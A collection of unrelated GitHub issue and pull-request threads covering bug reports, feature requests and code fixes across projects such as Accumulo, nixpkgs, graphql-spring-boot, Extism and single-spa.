Update run-verify.sh to not fail when optional arguments passed are empty

This PR resolves the issue reported in #1695. Noticed the ZK lib change has already been done via PR #1716.

AUTH_OPT=()
[[ -n $VERIFY_AUTHS ]] && AUTH_OPT=('--auths' "$VERIFY_AUTHS")

SCAN_OPT=('--offline')
[[ $SCAN_OFFLINE == 'false' ]] && SCAN_OPT=()

"$ACCUMULO_HOME/bin/tool.sh" "$SERVER_LIBJAR" org.apache.accumulo.test.continuous.ContinuousVerify -Dmapreduce.job.reduce.slowstart.completedmaps=0.95 -libjars "$SERVER_LIBJAR" "${AUTH_OPT[@]}" -i "$INSTANCE_NAME" -z "$ZOO_KEEPERS" -u "$USER" -p "$PASS" --table "$TABLE" --output "$VERIFY_OUT" --maxMappers "$VERIFY_MAX_MAPS" --reducers "$VERIFY_REDUCERS" "${SCAN_OPT[@]}"

@ctubbsii This is neat & thanks for sharing. Originally I intended to fix this without removing the double quotes but then ran into several issues. Also never thought of using an array to overcome this problem. This is great. I'll change the description of the PR and push an update soon.

Were you able to verify that this change fixed the issue and works with, and without, the auth opts or scan opts set?

@ctubbsii Yes, I tested the change with & without the optional parameters set, in both cases the continuous verify script did not throw the reported error.

Thanks, @karthick-rn !


Add Lasso window manager

Types of Changes

[x] New addition to list
[ ] Fixing bug in existing item in list
[ ] Removing item from list
[ ] Changing structure (organization) of list

Proposed Changes
I would like to add Lasso to the list because users seem to love it (it has 4.9 rating on the Product Hunt) and it's a more advanced version of a similar app called Divvy which is not maintained anymore and does not support modern Apple processors. The app is actively maintained, native, and has a nice and simple UI. Thanks for consideration.
PR Checklist
Put an x in the boxes once you've completed each step. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code.

[x] I have read the CONTRIBUTING guide
[x] I have explained why this PR is important
[ ] I have added necessary documentation (if appropriate)

Types of Changes

[x] New addition to list

[ ] Fixing bug in existing item in list

[ ] Removing item from list

[ ] Changing structure (organization) of list

Proposed Changes
I would like to add Lasso to the list because users seem to love it (it has 4.9 rating on the Product Hunt) and it's a more advanced version of a similar app called Divvy which is not maintained anymore and does not support modern Apple processors. The app is actively maintained, native, and has a nice and simple UI. Thanks for consideration.
PR Checklist
Put an x in the boxes once you've completed each step. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code.

[x] I have read the CONTRIBUTING guide

[x] I have explained why this PR is important

[ ] I have added necessary documentation (if appropriate)

Merge


[Packaging] WinObjC Packaging package does not correctly set the include paths for the package consumers

The props file (for consumers) is using InternalSystemIncludePaths, it should be using UserIncludes or AdditionalIncludes instead.

Assigning to @memontic-ms to investigate. The Packaging package shouldn't be using SystemIncludePaths because it logically doesn't map to system components. If/When we move build.sln to use the packaging package we may want this to be configurable.
@mukhole I'll follow up with you on this but either one should theoretically work with different implications to the compiler. I'm surprised it totally didn't work?

Right now we have this coming in with the default props:
  <ItemDefinitionGroup>
    <ClangCompile>
      <InternalSystemIncludePaths>$(MSBuildThisFileDirectory)\include\;%(InternalSystemIncludePaths);</InternalSystemIncludePaths>
    </ClangCompile>
  </ItemDefinitionGroup>

Looking at our WinRTSample, we're specifying -MMD which will set "Use System Headers For Dependencies" as No. Our defaults props for the include paths (above) aren't doing anything.


jabref: 5.1 -> 5.2

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/JabRef/jabref/releases.
meta.description for jabref is: "Open source bibliography reference manager"
meta.homepage for jabref is: "https://www.jabref.org"
meta.changelog for jabref is: ""
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS

The tests defined in passthru.tests, if any, passed

0 of 0 passed binary check by having a zero exit code.

0 of 0 passed binary check by having the new version present in output.

found 5.2 with grep in /nix/store/i9cw9ilw98pr7ba945aybjs2y9dqb04m-jabref-5.2

directory tree listing: https://gist.github.com/d9782d3741fb0062dab2e8db5b02440a

du listing: https://gist.github.com/45b215b0513c8349a47ece603c8b5517

Rebuild report (if merged into master) (click to expand)

4 total rebuild path(s)

1 package rebuild(s)

1 x86_64-linux rebuild(s)
1 i686-linux rebuild(s)
1 x86_64-darwin rebuild(s)
1 aarch64-linux rebuild(s)

First fifty rebuilds by attrpath
jabref

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/i9cw9ilw98pr7ba945aybjs2y9dqb04m-jabref-5.2 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A jabref https://github.com/r-ryantm/nixpkgs/archive/94dc91c49d831df981f5d10c36fdd09cf6b9bc62.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/i9cw9ilw98pr7ba945aybjs2y9dqb04m-jabref-5.2
ls -la /nix/store/i9cw9ilw98pr7ba945aybjs2y9dqb04m-jabref-5.2/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

jabref

Maintainer pings
cc @gebner for testing.

This doesn't work for me, when I use 5.2 I get the following error on running jabref
I am using NixOS 20.09
[...@nixos:~]$ jabref
#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x0000000000000000, pid=20993, tid=20994
#
# JRE version:  (15.0.1+9) (build )
# Java VM: OpenJDK 64-Bit Server VM (15.0.1+9, mixed mode, tiered, compressed oops, g1 gc, linux-amd64)
# Problematic frame:
# C  0x0000000000000000
#
# Core dump will be written. Default location: Core dumps may be processed with "/nix/store/lqv1qn0r19kzc9hhibj8k667049196wr-systemd-246.6/lib/systemd/systemd-coredump %P %u %g %s %t %c %h" (or dumping to /home/.../core.20993)
#
# An error report file with more information is saved as:
# /home/.../hs_err_pid20993.log
#
#
Aborted (core dumped)

This doesn't work for me, when I use 5.2 I get the following error on running jabref
I am using NixOS 20.09
[...@nixos:~]$ jabref
#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x0000000000000000, pid=20993, tid=20994
#
# JRE version:  (15.0.1+9) (build )
# Java VM: OpenJDK 64-Bit Server VM (15.0.1+9, mixed mode, tiered, compressed oops, g1 gc, linux-amd64)
# Problematic frame:
# C  0x0000000000000000
#
# Core dump will be written. Default location: Core dumps may be processed with "/nix/store/lqv1qn0r19kzc9hhibj8k667049196wr-systemd-246.6/lib/systemd/systemd-coredump %P %u %g %s %t %c %h" (or dumping to /home/.../core.20993)
#
# An error report file with more information is saved as:
# /home/.../hs_err_pid20993.log
#
#
Aborted (core dumped)

trying to update to v5.3 via overlays I get the following error:
Builder called die: Cannot wrap '/nix/store/99drq22rvrxsigzalra0d80kj5f83p17-jabref-5.1/lib/runtime/bin/java' because it is not an executable file
Backtrace:
7 assertExecutable /nix/store/mnrankjvp65m4gr6yq92ghdd5i0mj9lc-hook/nix-support/setup-hook
36 makeWrapper /nix/store/mnrankjvp65m4gr6yq92ghdd5i0mj9lc-hook/nix-support/setup-hook
1330 genericBuild /nix/store/7gdji02y6rbnzv5mcxcf3mwksk785y8j-stdenv-linux/setup
2 main /nix/store/9krlzvny65gdc8s7kpb6lkx8cd02c25b-default-builder.sh


How to set global context?

Hi,
I have the need to store global context information once whenever a new GraphQL request is executed. When using plain vanilla graphql-java, one just creates an own context object and sets it via ExecutionInput.newExecutionInput().context(context). When using graphql-spring-boot however, the context is automatically created via the framework and is of type DefaultGraphQLServletContext.
How can I either

set an own context (without breaking the GraphQL servlet),
extend DefaultGraphQLServletContext or
attach some arbitrary user object to a request?

Thanks for any help!

You can create your own GraphQLServletContextBuilder bean for this purpose. See (CustomGraphQLContextBuilder)[https://github.com/graphql-java-kickstart/graphql-spring-boot/blob/8ee147931e7d9c1e489ab87d5cb961e87717c875/example-request-scoped-dataloader/src/main/java/graphql/servlet/examples/dataloader/requestscope/CustomGraphQLContextBuilder.java] for an example.
You implement the following methods:
// Used for regular queries and mutations
GraphQLContext build(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse);

// Used for subscriptions using websockets
GraphQLContext build(Session session, HandshakeRequest handshakeRequest);

Extending the GraphQLServletContextBuilder with your own implementation is not sufficient.
It is also necessary to expand the DefaultGraphQLServletContext to create your own context with your own data.
In the current version this is not possible because the constructor of the class DefaultGraphQLServletContext is private.
This is new and probably has its reason in the builder pattern. In older versions there was no builder pattern and it was easier to introduce your own context. I posted a ticket https://github.com/graphql-java-kickstart/graphql-java-servlet/issues/266 and asked if the constructor can be made private. Then a separate context should be possible. I think the feature is very important.

It's not necessary to expand the DefaultGraphQLServletContext since you can just provide your own implemenation of GraphQLServletContext without it. It does make it a bit easier, so changed the visibility of that constructor now.

This means you lose the useful default implementation and you have to copy and paste it into your own implementation.
But right, it would work:-) Necessary is wrong!!

https://www.youtube.com/watch?v=YsM2VSnWUcg

Hi,
I have the need to store global context information once whenever a new GraphQL request is executed. When using plain vanilla graphql-java, one just creates an own context object and sets it via ExecutionInput.newExecutionInput().context(context). When using graphql-spring-boot however, the context is automatically created via the framework and is of type DefaultGraphQLServletContext.
How can I either
* set an own context (without breaking the GraphQL servlet),

* extend DefaultGraphQLServletContext or

* attach some arbitrary user object to a request?

Thanks for any help!

I created a video on implementing a custom context. Hopefully it helps you: https://www.youtube.com/watch?v=YsM2VSnWUcg

Thank you for sharing the video with us. Really very good videos. Great!! An extension of the DefaultGraphQLServletContext is only possible from GraphQL Servlet 9.3. The current Graphql Spring Boot 7.1.0 only delivers 9.2 :-) But it doesn't matter, placing an instance in the 'CutomGraphQLServletContext` is a good idea.


Add table of contents for each page

A TOC of section headings would help readers greatly.

Hey, I am newbie will love to try this out. Just need a bit info on this :-)


Syntax highlighting not working with victor-hugo's build script?

- Do you want to request a feature or report a bug?
Bug
- What is the current behavior?
When I try to build my victor-hugo site with npm run build, it doesn't seem to use Hugo's built-in syntax highlighting for code blocks in markdown.
I've tried with back ticks:
```html
<div></div>
\```

as well as Hugo's highlight shortcode:
{{< hightlight html >}}

{{< /highlight >}}

However, when I build the site with the hugo command and take a look at the generated html, syntax highlighting works just fine.
- If the current behavior is a bug, please provide the steps to reproduce.
Add a code block to a markdown file and build the site with npm run build
- What is the expected behavior?
Code syntax should be highlighted
- Please mention your node.js, NPM, Hugo and operating system version.
Node v6.9.2, NPM v5.6.0, and Hugo v0.31.1 on MacOS Sierra.

Ok nevermind this is working, i must have had something off in my config. Thanks for the awesome hugo boilerplate!


It's a very cool project

thank you for sharing your code!

I close this thread to keep list of issue clean.
I hope you had a great time using LittlevGL! :)


⚠ Bofrost.fr has degraded performance

In 50e97fb, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 2149 ms

Resolved: Bofrost.fr performance has improved in a220761 after 22 minutes.


Would you consider adding a link to our tutorial to the readme?

Hey @EyalBira, thank you for creating loading-dots, this lib is awesome 🎉
@MilanVucic and I work with a company called CometChat creating tutorials. We are collaborating on a Kotlin tutorial  called "Adding animated typing indicators to your Kotlin chat app" (exact title TBD) and we  used loading-dots for the typing indicators!
Here's a snippet:

typingLayout is just a piece of the layout that contains the TextView for showing the people who are typing as well as this neat “3 dots jumping up and down” animation,  for which I used this awesome 3rd party library. You can create your own too, but it’s just easier to use this one. If nobody is typing, the layout hides, and if people are typing, we simply format the message to resemble that state :

When we publish the tutorial in the coming days, is there any chance we can add a link to the README as a real-world (ish) example of loading-dots?

Hey @EyalBira, I am pleased to share the tutorial has been published: https://www.cometchat.com/tutorials/android-chat-typing-indicator/
Would love to know your thoughts.


Add proper typings for Tilemap Layer Properties

This PR (delete as applicable)

Updates the Documentation

Describe the changes below:
Tiled actually exports these as a list of objects, which contain
information about the name, type and the value. Reflect this properly in
the typescript typings.

Thank you for spending time contributing towards the Phaser TypeScript Defs, I really appreciate it. However, I'm afraid I cannot merge your PR. The reason is that you've edited the Phaser defs file directly. Our defs file is generated automatically as part of our build process, it works by running a custom parser across the Phaser source code, extracting the JSDoc blocks and then building the types from those. This means, if we were to merge your PR, your changes would be instantly lost the next time the defs are generated.
In order to fix the defs permanently, you need to edit the underlying JSDocs in the source code that is causing the defs error. Sometimes, the error is a result of a bug in the TS parser, but mostly it's because of incorrectly typed JSDocs. Please look at the command npm run help to see the options available to you re: building and running our TS parser for yourself, so you can edit the JSDoc blocks, run the parser and see if the end result is resolved or not.


Is it possible to send the Distance from the GeoFence

Just want to know if I have created Hooks and I get the exit notifications like this
{'detect': 'exit', 'group': '5c5046da4ec8885ee87c9f15', 'fields': {'eventTime':<PHONE_NUMBER>, 's': 54}, 'object': {'type': 'Point', 'coordinates': [78.05278222222222, 25.236991111111113]}, 'hook': 'geoId_17663', 'command': 'set', 'key': 'fleet', 'time': '2019-01-29T18:00:17.1238811+05:30', 'id': 'xxxxxx1'}
Will it be possible in case of 'detect': 'exit', I can also get 'distance': of exit point from the respective geofence ? The distance should be Haversine Distance
Abhit

There could be a way, if I set hook with META and having fields with all the bounding box points, and when the respective detect:'exit' will occur I can calculate the Haversine at my received end
Abhi

Seems like a reasonable approach.

Another thing {'detect': 'exit', 'group': '5c5046da4ec8885ee87c9f15', 'fields': {'eventTime':<PHONE_NUMBER>, 's': 54}, 'object': {'type': 'Point', 'coordinates': [78.05278222222222, 25.236991111111113]}, 'hook': 'geoId_17663', 'command': 'set', 'key': 'fleet', 'time': '2019-01-29T18:00:17.1238811+05:30', 'id': 'xxxxxx1'}
Will it be possible to also send time in milliseconds too
Abhi

@tidwall  is it possible ?

The time member contains enough information to get the milliseconds.

I am not denying that it can't be converted.. I am just asking if we can convert into milliseconds we would save some bytes getting transferred via hooks because of time as string YYYY-MM-DD ... Format. And for every hooks recv there would be a complexity of O(N), where N is the length of time string, converting into milliseconds .. Though the complexity is minimal but if there are a million hooks and tens of million set points happen with in an hour, it will be helpful for the whole entropy of stack. It was a suggestion.
Abhi

I see what you mean. Yes, it would be fewer bytes and faster parsing. The change would need to be optional, in order to keep backward compatibility. I would consider this.

@tidwall 👍 , any tentative timeline for the same, when I should expect the change ?
Abhi
:wq

Unfortunately, I can’t say when I’d personally be able get around to this change.
I’d accept a PR.


feat: add fastify helpers

Add Fastify helpers that enables us to:

Create Fastify servers with CORS and Metrics pre-configured
Generate OpenAPI JSON/YAML specs with standard settings

OpenAPI can be generated from APIs like this:
import { generateOpenApiSpec, logger } from '@hirosystems/api-toolkit';
import { Api } from '../src/api/init';
import { OpenApiSchemaOptions } from '../src/api/schemas';

generateOpenApiSpec({
  apiDefinition: Api,
  prefix: '/ordinals/v1',
  swaggerOptions: OpenApiSchemaOptions,
}).catch(err => logger.error(err));

Closes #3

:tada: This PR is included in version 1.2.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


feat: Add plugin cancellation

This PR adds the ability to cancel running plugins from another thread in the host.

All SDKs have been updated except Java and .NET
Adds a new SDK type: ExtismCancelHandle
Adds 2 new SDK functions: extism_plugin_cancel_handle and extism_plugin_cancel
extism_plugin_cancel_handle returns a pointer to ExtismCancelHandle, which can be passed to extism_plugin_cancel to stop plugin execution.
One thing that's worth noting is when plugin is executing a host function it cannot be cancelled until after the host function returns.

Hi @zshipko, I wrote the plugin cancellation for the Java SDK by forking your branch. This is the PR.
It will be great if you could accept this PR to your branch before doing the next release.


dtypes.float.vec(sz)

This is a conceptual refactor of how vectorized and scalar dtypes work.
In the current way of dealing with vectorized dtypes:

There's no clean way to relate float4 and float
Requires manual defining and duplicating the same priority and sizes
Has led to duplicates in render_cast

This also helps with a cleaner implementation of non-fp32 math

Love this!


Don't cut word-by-word in git commit message input placeholder text

Because the branch name is too long I'm seeing this:

It should instead show as much as possible and (if easy) show ellipsis at the end.

What version do you have installed? This should be fixed by now. Here's the latest on master:

@joaomoreno You're right, fixed in Insiders. Thanks!


fix(util): pcall reference to deleted buffer

See #1863
This does stop the error I was seeing, but I'm not super familiar with the language or the APIs to know if it's remotely correct.

I just checked using the plugin itself and added a proper fix. Now I also understand why you hit that other problem with deleting the augroup. All works as expected now

Thank you so much @folke, love your work! ❤


CircleCI v1 is outdated

All PRs don't run CI tests atm cause CircleCI v1 is outdated.
https://discuss.circleci.com/t/we-re-sunsetting-circleci-1-0-august-31-2018-is-the-final-day-for-1-0-builds/20334
So the config has to be moved to v2 to run phpunit tests on PRs.

This is a 💯% blocker for all code changing PRs. Primary cause the tests use a MySQL server and not sqlite it's "impossible" to run them on a local setup.

First commit that passes, again, all tests: https://github.com/dimsav/laravel-translatable/commit/dd0d95bf3d8101acabdffffaf5c3aa433d21d58c


Provide logger to HBApplication

Make sure we can use same Logger across all services instead of HBApplication crearing its own

Cannot work out why CI is failing. It seems to be using the wrong code


Add Sao Paulo/Canada Central to EKS and update AMI

https://github.com/rancher/rancher/issues/24299
https://github.com/rancher/rancher/issues/24400
Not updated 1.11 as it is no longer supported

LGTM


ModalStateMachineOwner.onUiIdle java.lang.OutOfMemoryError com.appcues.ui ModalStateMachineOwner.kt:116

We get this crash in our production app for a few devices.
I have printed the stacktrace below

This is the OS breakdown of the crash

This is the device breakdown

Hi @mahmed1987 , thank you for letting us know about this issue. We believe it is possible that the use of a Timer could be leading to memory issues in some cases. One idea we have is to change this to use a coroutine and a delay - @andretortolano proposed this change in #617 if you have any feedback to share on that approach. Thanks!

@iujames  thanks for quick resolution of the issue . Any idea when this fix would be included in your release cycle ?

hey @mahmed1987 we plan on doing a small patch that include the fix this afternoon

@mahmed1987 confirming that @andretortolano did release the 3.1.14 version yesterday, with this update, and you should see that available now in Maven Central. Thank you @andretortolano !

Thanks a bunch good folks. I hope this would resolve the situation. Will update our app with the new dependency and wait for the results

@iujames  I forgot to mention that i am using the the appcues dependency through segment
I am using this to include the appcues sdk in the code
com.appcues:segment-appcues:3.1.14.
I guess 3.1.14 must be available for com.appcues:appcues but for the above dependency with segment I get the error
"Caused by: org.gradle.internal.resolve.ModuleVersionNotFoundException: Could not find com.appcues:segment-appcues:3.1.14.
" during dependency resolution .

@mahmed1987 got it, thank you for this additional info. We can update our Segment plugin to match, today.

@mahmed1987 the Appcues-Segment plugin version 3.1.14 update has been published with this change https://github.com/appcues/segment-appcues-android/releases/tag/3.1.14 .


Scrape metrics from kubernetes nodes and container runtime

Enhancement Proposal
Given the COS is a kubernetes bundle, it think I'd be a really nice addition to discover and scrape all the kubernetes components without the need of manual configuration and also nodes and pods, although the latter would probably require another charm to be deployed along the current charms in the bundle.
Also, adding grafana dashboards for these metrics could come in handy too.
Thank you!

I agree with you. We've previously discussed this and it is really a two-part proposal.

We need to be able to collect telemetry for CK8s. This is likely to be solved using the planned grafana-agent machine charm, which among other things include node_exporter.
We need to be able to collect telemetry for MicroK8s. This is likely to be solved using a proxy charm and a telemetry plugin that will deploy node_exporter, kubestate-metrics`, and the kubernetes metrics server .

This will be addressed by the K8s team. Closing this issue as it is a no-op on our side.


Global Admin and Office License

Can you also put that Global Admin do not need any license and if they do what is the use

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 96784dc6-991a-fb80-cd0c-ae8217c32f45
Version Independent ID: 0532ace1-bf55-916f-708d-5444c49d77b1
Content: Protect your Office 365 global administrator accounts
Content Source: Enterprise/protect-your-global-administrator-accounts.md
Service: o365-administration
GitHub Login: @JoeDavies-MSFT
Microsoft Alias: josephd

@adnantocode Thank you for your feedback. We have added a note to the document via PR# https://github.com/MicrosoftDocs/OfficeDocs-Enterprise/pull/751
Thanks
Sri

PR 751 is merged and published.


feat(back): #277 redesign as bash array

Make function return a nix store path with
a local definition of the array
Adapt all args and modules that use it

when you do source file you can also pass positional arguments like this: source file myVarName
file = ''
eval $1=( array 1 2 3 )
''
this way we can make explicit which var name and type we are assigning to:
source arrayFile local varName
source arrayFile export varName
source arrayFile varName
instead of blind:
source arrayFile


Integrate packer into tarmak binary

What this PR does / why we need it:
Integrate packer into the Tarmak binary instead of using docker to apply image build.
fixes #362
Special notes:
Uses a modified fork of the packer package.
Removes Docker dependency

/assign @simonswine
@simonswine
In order to resolve the dependencies I have created a fork of packer and removed the troublesome packages - some builders which aren't necessary. Due to the way that packer has been written it is forcing a lot of extra dependencies to be imported which are not needed - the PR is adding 6x the lines of tarmak currently. I think either I should prune more builders which aren't required from the fork or we should think about using the packer binary instead. We could have an 'install' of tarmak where /opt/tamark keeps a packer binary and maybe terraform too. The first run of the tarmak would pull the dependant binaries and set up /opt/tarmak.
What do you think?

/test verify quick

/assign @JoshVanL
/unassign
Need rebase I guess

/unassign
/assign @simonswine

/test verify quick

/assign @JoshVanL
/unassign
Can you look into that failing generations?
make clean verify

Reproduces it for me

/retest

/test verify quick

/retest

@simonswine
There were two trouble packages - mock and gengo.
I have pinned mock to 1.0.1 which is what we were using before instead of the latest 1.1.1
This is was causing problems where generated mock files were now importing packages with the vendor directory, seems to be a bug in the latest releases.
Gengo has no releases but the master branch seems so have some incompatibility. It's now pinned to the same commit as Tarmak's master.
These failing tests I'm not able to reproduce yet.

/test verify quick

/unassign
/assign @simonswine

/assign @JoshVanL
/unassign

/assign
/assign @simonswine

/unassign

/approve
/lgtm


bug: vim.tbl_islist is deprecated

Check the following:

[X] I have checked the behavior after setting "vscode-neovim.neovimClean" in VSCode settings.
[X] I have read the vscode-neovim docs.
[X] I have searched existing issues.

Neovim version (nvim -v)
0.10.0
Operating system/version
Windows 11
Describe the bug
After neovim 0.10, vim.tbl_islist is deprecated. With neovim 0.10, everytime open vscode with vscode-neovim, the warning message show up.

Maybe update below vim.tbl_islist to utils.islist refer: https://github.com/nvim-telescope/telescope.nvim/pull/3109

Steps To Reproduce

With neovim 0.10, open vscode with vscode-neovim
waring message shows up vim.tbl_islist is deprecated...

Expected Behavior
No waring message

You're using nvim 0.11.0


fix(tailwind): incorrect variable reference in processHead()

Component / Package Name: @jsx-email/tailwind
This PR contains:

[x] bugfix
[ ] feature
[ ] refactor
[ ] documentation
[ ] other

Are tests included?

[ ] yes (bugfixes and features will not be merged without tests)
[x] no

Breaking Changes?

[ ] yes (breaking changes will not be merged unless absolutely necessary)
[x] no

If yes, please include "BREAKING CHANGES:" in the first commit message body, followed by a description of what is breaking.
List any relevant issue numbers:

Description

processHead() was previously returning child instead of processedChild, leading to duplicated output when using <Tailwind />

awesome, thanks. will follow up when CI is done running

OK as I thought, this was probably going to break the tests we have in place. Please run moon tailwind:test -- -u to update the test snapshots, and commit the updates.

Here's a link to the diff for this change. Looks legit https://www.diffchecker.com/lkjdtOWr/

Updated your branch with the test updates so we could get this fix out. Hope you don't mind :)


Is react-dom/client required?

When I followed the single-spa-reactquick start instructions, it indicated that I should use import ReactDOMClient from "react-dom/client"; instead of import ReactDOM from "react-dom";.  When I make the change, I get a run time error:
application '@new/app' died in status SKIP_BECAUSE_BROKEN: m.createRoot is not a function
TypeError: application '@new/app' died in status SKIP_BECAUSE_BROKEN: m.createRoot is not a function
at exports.createRoot (https://localhost:8080/new-app.js:5404:16)
at u.elementToRender (https://localhost:8080/new-app.js:12748:5162)
at https://localhost:8080/new-app.js:12748:5262
at new Promise ()
at p (https://localhost:8080/new-app.js:12748:4017)
at https://cdn.jsdelivr.net/npm/single-spa@5.9.0/lib/system/single-spa.dev.js:303:33
The URL at the end seems strange, since all my package.json indicates that single-spa 6.0.1 should be used:
{
  "name": "@new-app",
  "version": "0.0.3",
  "license": "UNLICENSED",
  "scripts": {},
  "devDependencies": {
    "@babel/core": "^7.23.3",
    "@babel/eslint-parser": "^7.23.3",
    "@babel/plugin-transform-runtime": "^7.23.3",
    "@babel/preset-env": "^7.23.3",
    "@babel/preset-react": "^7.23.3",
    "@babel/preset-typescript": "^7.23.3",
    "@babel/runtime": "^7.23.3",
    "@testing-library/jest-dom": "^5.17.0",
    "@testing-library/react": "^14.2.2",
    "babel-jest": "^27.5.1",
    "concurrently": "^6.2.1",
    "cross-env": "^7.0.3",
    "eslint": "^7.32.0",
    "eslint-config-prettier": "^8.3.0",
    "eslint-config-ts-react-important-stuff": "^3.0.0",
    "eslint-plugin-prettier": "^3.4.1",
    "husky": "^7.0.2",
    "identity-obj-proxy": "^3.0.0",
    "jest": "^27.5.1",
    "jest-cli": "^27.5.1",
    "prettier": "^2.3.2",
    "pretty-quick": "^3.1.1",
    "ts-config-single-spa": "^3.0.0",
    "typescript": "^4.3.5",
    "webpack": "^5.89.0",
    "webpack-cli": "^4.10.0",
    "webpack-config-single-spa-react": "^4.0.0",
    "webpack-config-single-spa-react-ts": "^4.0.0",
    "webpack-config-single-spa-ts": "^4.1.4",
    "webpack-dev-server": "^4.0.0",
    "webpack-merge": "^5.8.0"
  },
  "dependencies": {
    "@bc/auth-helper": "^0.0.3",
    "@bc/logger": "^0.0.3",
    "@bc/styleguide": "^0.0.3",
    "@types/jest": "^29.5.12",
    "@types/react": "^18.2.73",
    "@types/react-dom": "^18.2.23",
    "@types/systemjs": "^6.1.1",
    "@types/webpack-env": "^1.16.2",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "react-router-dom": "^6.22.3",
    "single-spa": "^6.0.1",
    "single-spa-react": "^6.0.1"
  },
  "resolutions": {
    "@types/react": "^18.2.73",
    "@types/react-dom": "^18.2.23"
  },
  "types": "dist/new-app.d.ts"
}

The new-app.tsx file which creates the error:
import React from "react";
import ReactDOMClient from "react-dom/client";
import singleSpaReact from "single-spa-react";
import Root from "./root.component";

const lifecycles = singleSpaReact({
  React,
  ReactDOMClient,
  rootComponent: Root,
  errorBoundary(err, info, props) {
    // Customize the root error boundary for your microfrontend here.
    return null;
  },
});

export const { bootstrap, mount, unmount } = lifecycles;

The only thing I can think of is that the singleSpaReact method was changed to get the client from ReactDOM...
I thought I should check here just in case.

Hi, did you solve the issue? Check your import maps to ensure you are using the latest version of single-spa.

Hi, did you solve the issue? Check your import maps to ensure you are using the latest version of single-spa.

@MilanKovacic I was unable to confirm that the reported change is still required.
My related import maps are:
        "react"<EMAIL_ADDRESS>        "react-dom"<EMAIL_ADDRESS>        "single-spa"<EMAIL_ADDRESS>
These are the only packages I have marked as external since they are the only ones I have full URLs for.  I have not yet figured out how to import from a package.

something similar happened to me but I corrected it by removing ^ from the react and react-dom dependencies. As they released that new version of react 18.3.0 is giving conflicts if it detects several versions of react.


Configure GitHub actions for tests to run on PRs

When #301 is merged, all check will be run on GitHub actions. As a consequence, you have to go to the fork that made the PR in order to see the jobs. This makes it harder to see whether check have actually succeeded or not.

1570fe3adcac9d44fae49bcf2978ea86ffcfa9b5 fixes this.


Lag of control samsung tizen tv on Home Assistant

ps anyone else find it’s probably around 10 seconds from changing source before it shows the new source in HA etc? Anyway to speed this up?
Originally posted by @mbarnes106 in https://github.com/ollo69/ha-samsungtv-smart/issues/35#issuecomment-756789768

This is not an issue. This is a component based on device and cloud poll, polling have interval. We cannot poll the TV and SmartThings every or your network and HA will stop working.

We are not Samsung and don't know what Samsung do inside his app. Anyway i you any have valid solution that will not break HA state machine feel free to suggest it here or open a PR with changes, otherwise please close this issue.

I'm having the same problem. Coming from Homebridge, the app-state changes instantly, but with this HASS-intergration it takes almost 10 seconds to update the app status and therefore making proper automations based on which app is loaded useless.
For instance:
I had my TV intergrated in Homekit through HomeBridge via a Raspberry Pi 4.
I've added input-booleans linked to a couple apps, so a input-boolean would appear in my Homekit, example: "TV on Netflix".
Then I set up an automation where whenever that input-boolean was turned ON, the lights would go to a certain scene. This worked absolutely perfect.
Is there any way to get this kind of pinging-state intergrated in this? It would be amazing if I could intergrate all my smarthome stuff in 1 platform, since I now still have to use the HomeBridge SamsungTizen app just for this neat automation.

I think that reason about 10 seconds delay has be explained, as I know there is no way to fix this. Close this issue.


More flexible powerflows to match REopt output

Restrictions in SAM's powerflow code required that AC connected, behind the meter batteries only charge when the renewable system's power exceeded load, and only discharge when the load exceeded the renewable system's power. DC connected batteries were subject to the latter restriction as well.
In order to accurately process optimal dispatch from REopt, these powerflow constraints need to be lifted, as some timesteps will violate these constraints. This increases the power that SAM deliveres from the battery to the load while running a REopt dispatch case from 93% of REopt's prediction to 99.94%  - and should help with other custom dispatch cases as well.
Pairs with SAM PR: https://github.com/NREL/SAM/pull/692

chargeOnlySystemExceedLoad for DC batteries,

I'll remove this variable from the DC tests. The DC code is structured in a way such that this variable is effectively always false. I worry the efficiency calculations required to enforce this on the DC side would be extremely difficult, but happy to discuss if it's important.


feat: allow non default service account in DirectPath

Copying over from: https://github.com/googleapis/java-bigtable/pull/2012
Bigtable already sets the flag to allow non-default SA in DirectPath on the service side, we also need to set the option on the client side to make this feature work.
Related Spanner PR: https://github.com/googleapis/java-spanner/pull/2635.

@mohanli-ml fyi


Random Functions

• Random (minmax)
• Seeded random
• Random string

Seeded random is a bit tough, going to move attention to a randomized string.

Features added & documented, will add to imports.


[LUPEYALPHA-984] EY practitioner enter home address

basing off LUPEYALPHA-983-EY-practitioner-personal-details branch

LGTM, only question is how come we can't just render the address form for this journey? Is it because we don't want to include the "questions.personal_details" caption?

yeah - there are 2 changes required for this journey - no caption, and also the title is size 'l' instead of 'xl'.


Updated module structure for Smart Blueprint

Part of issue #735
Updates the module structure as per the design for the Smart Blueprint initiative.  Changes:
Capability:

Added scope
Made supportedinterfaces optional

Spec

added description, type, pluginType
removed flows
